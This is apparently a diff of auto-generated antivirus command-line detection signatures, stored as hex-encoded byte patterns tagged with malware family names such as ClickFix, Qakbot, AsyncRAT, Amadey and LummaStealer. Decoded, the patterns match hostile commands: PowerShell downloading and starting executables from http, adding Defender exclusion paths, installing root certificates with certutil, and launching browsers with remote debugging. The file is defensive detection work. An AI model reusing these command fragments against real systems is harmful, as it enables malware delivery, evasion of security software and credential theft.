= {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 50 44 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 } //21283 + $a_00_1 = {69 00 65 00 6e 00 74 00 0a 00 1c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 0a 00 13 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 00 9c ff 14 00 63 00 68 00 6f 00 63 00 6f 00 6c 00 61 00 74 00 65 00 79 00 00 00 d7 c0 00 00 10 00 10 00 05 00 21 23 53 4c 46 3a 54 72 6f } //67 + $a_3a_2 = {69 6e 33 32 2f 52 61 6e 73 6f 6d 45 6e 75 6d 7a 2e 44 42 21 4d 54 42 00 05 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 0a 00 08 00 65 00 63 00 68 00 6f 00 01 00 1c 00 6c 00 61 00 73 00 74 00 62 00 6f 00 6f 00 74 00 75 00 70 00 74 00 69 00 6d 00 65 00 01 00 0e 00 73 00 74 00 61 00 72 00 74 00 75 00 70 00 01 00 3e 00 41 00 } //24938 + $a_00_3 = {2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 00 00 d7 db 00 00 01 00 01 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 45 21 4d 54 42 } //100 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*67+(#a_3a_2 & 1)*24938+(#a_00_3 & 1)*100) >=40 + +} +rule _InfrastructureShared_27209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 6e 73 6f 6d 45 6e 75 6d 7a 2e 44 42 21 4d 54 42 00 05 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 0a 00 08 00 65 00 63 00 68 00 6f 00 01 00 1c 00 6c 00 61 00 73 00 74 00 62 00 } //21283 - $a_00_1 = {74 00 75 00 70 00 74 00 69 00 6d 00 65 00 01 00 0e 00 73 00 74 00 61 00 72 00 74 00 75 00 70 00 01 00 3e 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 00 00 d7 db 00 00 06 00 06 00 08 00 21 } //111 - $a_4c_2 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 63 6d 64 45 6e 63 6f 64 65 64 2e 41 00 05 00 1e 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 22 00 } //21539 - $a_00_3 = {45 00 6e 00 63 00 6f 00 64 00 65 00 64 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 01 00 12 00 20 00 2d 00 65 00 6e 00 63 00 6f } //32 + $a_00_1 = {74 00 75 00 70 00 74 00 69 00 6d 00 65 00 01 00 0e 00 73 00 74 00 61 00 72 00 74 00 75 00 70 00 01 00 3e 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 00 00 d7 db 00 00 01 00 01 00 06 00 21 } //111 + $a_46_2 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 45 21 4d 54 42 00 01 00 1f 02 63 00 6d 00 64 00 90 02 ff 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 00 01 00 1d 02 63 00 6d 00 64 00 90 02 ff 62 } //21283 + $a_00_4 = {64 00 6d 00 69 00 6e 00 90 00 01 00 1b 02 63 00 6d 00 64 00 90 02 ff 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 90 00 01 00 13 02 63 00 6d 00 64 00 90 02 ff 63 00 75 00 72 00 6c 00 90 00 01 00 1b 02 63 00 6d 00 64 00 90 02 ff 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 90 00 01 00 } //115 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_4c_2 & 1)*21539+(#a_00_3 & 1)*32) >=16 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_46_2 & 1)*21283+(#a_00_4 & 1)*115) >=16 } -rule _InfrastructureShared_25893{ +rule _InfrastructureShared_27210{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 45 21 4d 54 42 00 01 00 1f 02 63 00 6d 00 64 00 90 02 ff 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 00 01 00 1d 02 63 00 6d 00 64 00 90 02 ff 62 } //21283 + $a_00_2 = {64 00 6d 00 69 00 6e 00 90 00 01 00 1b 02 63 00 6d 00 64 00 90 02 ff 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 90 00 01 00 13 02 63 00 6d 00 64 00 90 02 ff 63 00 75 00 72 00 6c 00 90 00 01 00 1b 02 63 00 6d 00 64 00 90 02 ff 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 90 00 01 00 } //115 + $a_00_3 = {6d 00 64 00 90 02 ff 6d 00 73 00 68 00 74 00 61 00 90 00 00 00 d7 db 00 00 06 00 06 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 63 6d 64 45 6e 63 6f 64 65 64 2e 41 00 05 00 1e 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 } //533 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*115+(#a_00_3 & 1)*533) >=1 + +} +rule _InfrastructureShared_27211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 08 00 21 " @@ -338970,7 +355933,7 @@ rule _InfrastructureShared_25893{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*32+(#a_00_3 & 1)*32+(#a_00_5 & 1)*101+(#a_42_6 & 1)*19745+(#a_00_7 & 1)*110) >=6 } -rule _InfrastructureShared_25894{ +rule _InfrastructureShared_27212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 0a 00 21 " @@ -338988,7 +355951,7 @@ rule _InfrastructureShared_25894{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_5a_9 & 1)*0) >=16 } -rule _InfrastructureShared_25895{ +rule _InfrastructureShared_27213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -339000,7 +355963,7 @@ rule _InfrastructureShared_25895{ ((#a_4c_0 & 1)*21539+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_25896{ +rule _InfrastructureShared_27214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 04 00 21 " @@ -339012,7 +355975,30 @@ rule _InfrastructureShared_25896{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*109+(#a_00_3 & 1)*125) >=21 } -rule _InfrastructureShared_25897{ +rule _InfrastructureShared_27215{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 43 6f 6e 6e 2e 41 00 01 00 86 02 63 00 68 00 72 00 6f 00 6d 00 65 00 2e 00 65 00 78 00 65 00 90 02 3c 2d 00 2d 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 2d 00 64 00 69 } //21283 + $a_00_2 = {6f 00 72 00 79 00 3d 00 22 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 22 00 90 02 3c 2d 00 2d 00 72 00 65 00 6d 00 6f 00 74 00 65 00 2d 00 64 00 65 00 62 00 75 00 67 00 67 00 69 00 6e 00 67 00 2d 00 70 00 6f 00 72 00 74 00 3d 00 90 00 01 00 82 02 65 00 64 00 67 00 65 00 2e 00 65 00 78 00 65 00 90 02 3c 2d 00 2d 00 70 00 72 00 6f 00 66 00 69 00 } //99 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99) >=1 + +} +rule _InfrastructureShared_27216{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 43 6f 6e 6e 2e 42 00 01 00 86 02 63 00 68 00 72 00 6f 00 6d 00 65 00 2e 00 65 00 78 00 65 00 90 02 3c 2d 00 2d 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 2d 00 64 00 69 } //21283 + $a_00_2 = {6f 00 72 00 79 00 3d 00 22 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 22 00 90 02 3c 2d 00 2d 00 72 00 65 00 6d 00 6f 00 74 00 65 00 2d 00 64 00 65 00 62 00 75 00 67 00 67 00 69 00 6e 00 67 00 2d 00 70 00 6f 00 72 00 74 00 3d 00 90 00 01 00 82 02 65 00 64 00 67 00 65 00 2e 00 65 00 78 00 65 00 90 02 3c 2d 00 2d 00 70 00 72 00 6f 00 66 00 69 00 } //99 + $a_00_3 = {2d 00 64 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3d 00 22 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 22 00 90 02 3c 2d 00 2d 00 72 00 65 00 6d 00 6f 00 74 00 65 00 2d 00 64 00 65 00 62 00 75 00 67 00 67 00 69 00 6e 00 67 00 2d 00 70 00 6f 00 72 00 74 00 3d 00 90 00 01 00 88 02 66 00 69 00 } //108 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99+(#a_00_3 & 1)*108) >=1 + +} +rule _InfrastructureShared_27217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,35 00 35 00 0b 00 21 " @@ -339027,7 +356013,7 @@ rule _InfrastructureShared_25897{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_4 & 1)*108+(#a_00_5 & 1)*32+(#a_00_7 & 1)*82+(#a_00_9 & 1)*114) >=53 } -rule _InfrastructureShared_25898{ +rule _InfrastructureShared_27218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 18 00 21 " @@ -339057,41 +356043,61 @@ rule _InfrastructureShared_25898{ ((#a_4c_0 & 1)*21539+(#a_05_1 & 1)*-28672+(#a_00_2 & 1)*111+(#a_00_3 & 1)*101+(#a_90_4 & 1)*13164+(#a_00_6 & 1)*115+(#a_72_7 & 1)*29559+(#a_63_8 & 1)*25346+(#a_5c_9 & 1)*6400+(#a_00_10 & 1)*97+(#a_6d_11 & 1)*4352+(#a_90_12 & 1)*25976+(#a_3a_15 & 1)*19521+(#a_e7_16 & 1)*-11798+(#a_6c_17 & 1)*17520+(#a_50_18 & 1)*25968+(#a_47_19 & 1)*8993+(#a_45_20 & 1)*8993+(#a_a3_21 & 1)*11841+(#a_62_22 & 1)*29514+(#a_6c_23 & 1)*28496) >=10 } -rule _InfrastructureShared_25899{ +rule _InfrastructureShared_27219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 4e 65 74 6c 6f 67 6f 6e 2e 41 00 01 00 14 00 5c 00 6e 00 65 00 74 00 6c 00 6f 00 67 00 6f 00 6e 00 5c 00 01 00 04 00 2d 00 75 00 00 00 d7 5a 00 00 65 00 65 00 02 00 21 23 53 4c 46 3a 52 61 } //21283 - $a_6d_1 = {57 69 6e 33 32 2f 4d 61 6c 6c 6f 78 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 41 42 00 64 00 06 00 63 00 6d 00 64 00 01 00 1c 00 4b 00 69 00 6c 00 6c 00 24 00 2d 00 41 00 72 00 61 00 62 00 2e 00 62 00 61 00 74 00 00 00 d7 66 00 00 65 00 65 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 43 6f 6d 6d 61 } //29550 + $a_6d_1 = {57 69 6e 33 32 2f 4d 61 6c 6c 6f 78 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 41 42 00 64 00 06 00 63 00 6d 00 64 00 01 00 1c 00 4b 00 69 00 6c 00 6c 00 24 00 2d 00 41 00 72 00 61 00 62 00 2e 00 62 00 61 00 74 00 00 00 d7 64 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 63 68 45 78 65 63 2e 48 4b 21 } //29550 condition: ((#a_46_0 & 1)*21283+(#a_6d_1 & 1)*29550) >=2 } -rule _InfrastructureShared_25900{ +rule _InfrastructureShared_27220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 02 00 21 " strings : $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4d 61 6c 6c 6f 78 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 41 42 00 64 00 06 00 63 00 6d 00 64 00 01 00 1c 00 4b 00 69 00 6c 00 6c 00 24 00 2d 00 41 00 72 00 61 00 62 00 2e 00 62 00 61 00 74 00 } //21283 - $a_66_1 = {00 65 00 65 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 41 42 21 4d 54 42 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 0a 00 2c 00 6d 00 75 00 73 00 74 00 01 00 0c 00 2c 00 20 00 6d 00 75 00 73 00 74 00 00 00 d7 7b 00 00 36 00 36 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 73 79 6e 63 52 41 54 2e 44 43 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0a 00 73 00 6c 00 65 00 65 00 70 00 32 00 10 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 01 00 06 00 69 00 65 00 78 } //0 + $a_64_1 = {00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 63 68 45 78 65 63 2e 48 4b 21 4d 54 42 00 01 00 36 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 20 00 2d 00 61 00 64 00 64 00 73 00 74 00 6f 00 72 00 65 00 20 00 2d 00 66 00 20 00 72 00 6f 00 6f 00 74 00 20 00 00 00 d7 66 00 00 65 00 65 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 41 42 21 4d 54 42 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 0a 00 2c 00 6d 00 75 00 73 00 74 00 01 00 0c 00 2c 00 20 00 6d 00 75 00 73 00 74 00 00 00 d7 6d 00 00 01 00 01 00 } //0 condition: - ((#a_46_0 & 1)*21283+(#a_66_1 & 1)*0) >=101 + ((#a_46_0 & 1)*21283+(#a_64_1 & 1)*0) >=101 } -rule _InfrastructureShared_25901{ +rule _InfrastructureShared_27221{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 63 68 45 78 65 63 2e 48 4b 21 4d 54 42 00 01 00 36 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 20 00 2d 00 61 00 64 00 64 00 73 00 74 00 6f 00 72 00 65 00 20 00 2d 00 66 00 20 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 41 42 21 4d 54 42 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 0a 00 2c 00 6d 00 75 00 73 00 74 00 01 00 0c 00 } //21283 - $a_00_1 = {6d 00 75 00 73 00 74 00 00 00 d7 7b 00 00 36 00 36 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e } //44 - $a_6e_2 = {32 2f 41 73 79 6e 63 52 41 54 2e 44 43 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0a 00 73 00 6c 00 65 00 65 00 70 00 32 00 10 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 01 00 06 00 69 00 65 00 78 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 87 00 00 04 } //22330 + $a_00_1 = {6d 00 75 00 73 00 74 00 00 00 d7 6d 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e } //44 + $a_6e_2 = {32 2f 50 6f 77 64 6f 77 2e 48 43 21 4d 54 42 00 01 00 40 00 2e 00 65 00 78 00 65 00 20 00 2d 00 72 00 20 00 2e 00 5c 00 70 00 72 00 65 00 66 00 6c 00 69 00 67 00 68 00 74 00 2e 00 6a 00 73 00 20 00 2e 00 5c 00 61 00 70 00 70 00 2e 00 6a 00 73 00 63 00 00 00 d7 7b 00 00 36 00 36 00 05 00 21 23 53 4c 46 3a 54 72 6f } //22330 condition: ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*44+(#a_6e_2 & 1)*22330) >=101 } -rule _InfrastructureShared_25902{ +rule _InfrastructureShared_27223{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 64 6f 77 2e 48 43 21 4d 54 42 00 01 00 40 00 2e 00 65 00 78 00 65 00 20 00 2d 00 72 00 20 00 2e 00 5c 00 70 00 72 00 65 00 66 00 6c 00 69 00 67 00 68 00 74 00 2e 00 6a 00 73 00 20 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,36 00 36 00 05 00 21 " @@ -339104,7 +356110,7 @@ rule _InfrastructureShared_25902{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_00_3 & 1)*32+(#a_4c_4 & 1)*28257) >=54 } -rule _InfrastructureShared_25903{ +rule _InfrastructureShared_27225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -339112,53 +356118,61 @@ rule _InfrastructureShared_25903{ $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 43 6c 69 63 6b 2e 45 21 4d 54 42 00 01 00 0a 00 63 00 6d 00 64 00 20 00 2f 00 01 00 0e 00 26 00 20 00 65 00 63 00 68 00 6f 00 20 00 } //21539 $a_00_1 = {70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 73 00 5c 00 73 00 74 00 61 00 72 00 74 00 75 00 70 00 } //1 programs\startup $a_00_2 = {26 00 20 00 65 00 78 00 69 00 74 00 } //1 & exit - $a_8c_3 = {00 79 00 79 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 49 63 65 64 49 44 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 41 41 21 4d 54 42 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 0a 00 2c 00 76 00 63 00 61 00 62 00 01 00 0c 00 2c 00 20 00 76 00 63 00 61 00 62 00 0a 00 06 00 2c 00 2f 00 6b 00 0a 00 18 00 66 00 69 00 73 00 74 00 61 00 73 00 68 00 6b 00 61 00 38 00 33 00 38 00 00 00 d7 b8 00 00 29 00 29 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 53 44 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 6e 00 65 00 } //0 + $a_8c_3 = {00 79 00 79 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 49 63 65 64 49 44 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 41 41 21 4d 54 42 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 0a 00 2c 00 76 00 63 00 61 00 62 00 01 00 0c 00 2c 00 20 00 76 00 63 00 61 00 62 00 0a 00 06 00 2c 00 2f 00 6b 00 0a 00 18 00 66 00 69 00 73 00 74 00 61 00 73 00 68 00 6b 00 61 00 38 00 33 00 38 00 00 00 d7 93 00 00 33 00 33 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 48 43 21 4d 54 42 00 01 00 16 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 32 00 4c 02 2f } //0 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_8c_3 & 1)*0) >=4 } -rule _InfrastructureShared_25904{ +rule _InfrastructureShared_27226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 49 63 65 64 49 44 43 6f 6d 6d 61 6e 64 4c 69 6e 65 2e 41 41 21 4d 54 42 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 0a 00 2c 00 76 00 63 00 61 00 62 00 01 00 0c 00 } //21283 $a_00_1 = {76 00 63 00 61 00 62 00 0a 00 06 00 2c 00 2f 00 6b 00 0a 00 18 00 66 00 69 00 73 00 74 00 61 00 } //44 - $a_00_2 = {6b 00 61 00 38 00 33 00 38 00 00 00 d7 b8 00 00 29 00 29 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 53 44 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 } //115 - $a_00_3 = {0a 00 12 00 24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 0a 00 1e 00 73 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 24 00 01 00 1e 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 02 30 2e 00 65 00 78 00 65 00 90 00 00 00 d7 be 00 00 33 00 33 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //110 - $a_32_4 = {43 6c 69 63 6b 46 69 78 2e 45 21 4d 54 42 00 14 00 14 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 20 00 61 00 64 00 64 00 2d 00 } //28265 + $a_00_2 = {6b 00 61 00 38 00 33 00 38 00 00 00 d7 93 00 00 33 00 33 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 48 43 21 4d 54 42 00 01 00 16 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 32 00 4c 02 2f 00 74 00 72 00 20 00 6d 00 73 00 68 00 74 00 61 00 20 } //115 + $a_80_3 = {00 68 } // -28672 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*44+(#a_00_2 & 1)*115+(#a_00_3 & 1)*110+(#a_32_4 & 1)*28265) >=121 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*44+(#a_00_2 & 1)*115+(#a_80_3 & 1)*-28672) >=121 } -rule _InfrastructureShared_25905{ +rule _InfrastructureShared_27227{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 33 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 48 43 21 4d 54 42 00 01 00 16 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 32 00 4c 02 2f 00 74 00 72 00 20 00 6d 00 73 00 68 00 74 00 61 00 20 } //21283 + $a_80_1 = {00 68 } // -28672 + condition: + ((#a_46_0 & 1)*21283+(#a_80_1 & 1)*-28672) >=51 + +} +rule _InfrastructureShared_27228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,29 00 29 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 53 44 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 } //21283 - $a_00_1 = {0a 00 12 00 24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 0a 00 1e 00 73 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 24 00 01 00 1e 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 02 30 2e 00 65 00 78 00 65 00 90 00 00 00 d7 be 00 00 33 00 33 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //110 - $a_32_2 = {43 6c 69 63 6b 46 69 78 2e 45 21 4d 54 42 00 14 00 14 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 20 00 61 00 64 00 64 00 2d 00 } //28265 - $a_00_3 = {70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 0a 00 1c 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 0a 00 22 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 01 00 0e 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 00 00 d7 bf } //109 - $a_01_4 = {91 01 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 42 43 00 64 00 08 00 2e 00 74 00 6d 00 70 00 64 00 16 00 2f 00 48 00 69 00 64 00 65 00 57 00 69 00 6e 00 64 00 6f 00 77 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 64 00 10 00 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 01 00 21 02 5c 00 52 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 90 02 20 2e 00 64 00 6c 00 6c 00 2c } //0 + $a_00_1 = {0a 00 12 00 24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 0a 00 1e 00 73 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 24 00 01 00 1e 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 02 30 2e 00 65 00 78 00 65 00 90 00 00 00 d7 bf 00 00 33 00 33 00 05 00 21 23 53 4c 46 3a 54 72 